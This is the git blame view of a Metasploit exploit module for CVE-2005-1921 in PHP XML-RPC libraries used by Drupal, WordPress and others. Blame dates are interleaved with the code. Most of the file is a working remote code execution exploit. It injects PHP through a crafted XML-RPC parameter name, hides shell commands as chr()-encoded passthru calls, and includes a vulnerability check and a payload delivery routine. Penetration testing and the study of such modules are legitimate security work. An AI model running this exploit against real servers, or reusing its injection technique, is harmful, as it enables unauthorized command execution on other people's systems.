Files
metasploit-gs/modules/exploits/unix/webapp/php_xmlrpc_eval.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

116 lines
3.4 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
# XXX This module needs an overhaul
2006-01-20 20:18:55 +00:00
def initialize(info = {})
super(update_info(info,
2006-01-20 20:18:55 +00:00
'Name' => 'PHP XML-RPC Arbitrary Code Execution',
'Description' => %q{
This module exploits an arbitrary code execution flaw
discovered in many implementations of the PHP XML-RPC module.
This flaw is exploitable through a number of PHP web
applications, including but not limited to Drupal, Wordpress,
Postnuke, and TikiWiki.
2006-01-20 20:18:55 +00:00
},
'Author' => [ 'hdm', 'cazz' ],
2006-01-21 22:10:20 +00:00
'License' => MSF_LICENSE,
2006-01-20 20:18:55 +00:00
'References' =>
[
['CVE', '2005-1921'],
['OSVDB', '17793'],
2009-07-16 16:02:24 +00:00
['BID', '14088'],
2006-01-20 20:18:55 +00:00
],
'Privileged' => false,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
2006-01-20 20:18:55 +00:00
'Payload' => {
'Space' => 512,
'DisableNops' => true,
'Keys' => ['cmd', 'cmd_bash'],
2006-01-20 20:18:55 +00:00
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2005-06-29'
))
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('PATH', [ true, "Path to xmlrpc.php", '/xmlrpc.php']),
])
2013-08-30 16:28:54 -05:00
2006-01-26 02:07:59 +00:00
deregister_options(
'HTTP::junk_params', # not your typical POST, so don't inject params.
'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
2006-01-26 02:07:59 +00:00
)
2006-01-20 20:18:55 +00:00
end
2013-08-30 16:28:54 -05:00
2006-01-26 02:07:59 +00:00
def go(command)
2013-08-30 16:28:54 -05:00
encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')
wrapper = rand_text_alphanumeric(rand(128)+32)
2013-08-30 16:28:54 -05:00
cmd = "echo('#{wrapper}'); passthru(#{ encoded }); echo('#{wrapper}');;"
2013-08-30 16:28:54 -05:00
xml =
'<?xml version="1.0"?>' +
"<methodCall>" +
"<methodName>"+ rand_text_alphanumeric(rand(128)+32) + "</methodName>" +
"<params><param>" +
"<name>" + rand_text_alphanumeric(rand(128)+32) + "');#{cmd}//</name>" +
"<value>" + rand_text_alphanumeric(rand(128)+32) + "</value>" +
"</param></params>" +
"</methodCall>";
2013-08-30 16:28:54 -05:00
2006-12-28 23:42:36 +00:00
res = send_request_cgi({
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['PATH']),
'method' => 'POST',
'ctype' => 'application/xml',
'data' => xml,
}, 5)
2013-08-30 16:28:54 -05:00
if (res and res.body)
b = /#{wrapper}(.*)#{wrapper}/sm.match(res.body)
if b
return b.captures[0]
elsif datastore['HTTP::chunked']
b = /chunked Transfer-Encoding forbidden/.match(res.body)
if b
2015-04-16 21:56:42 +02:00
fail_with(Failure::BadConfig, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005. Try disabling HTTP::chunked and trying again.')
end
end
end
2013-08-30 16:28:54 -05:00
return nil
end
2013-08-30 16:28:54 -05:00
def check
response = go("echo ownable")
if (!response.nil? and response =~ /ownable/sm)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
2006-01-20 20:18:55 +00:00
end
2013-08-30 16:28:54 -05:00
def exploit
response = go(payload.encoded)
if response == nil
print_error('exploit failed: no response')
2006-01-26 02:07:59 +00:00
else
if response.length == 0
2017-07-19 12:48:52 +01:00
print_good('Exploit Successful')
else
print_status("Command returned #{response}")
end
handler
end
end
2009-07-16 16:02:24 +00:00
end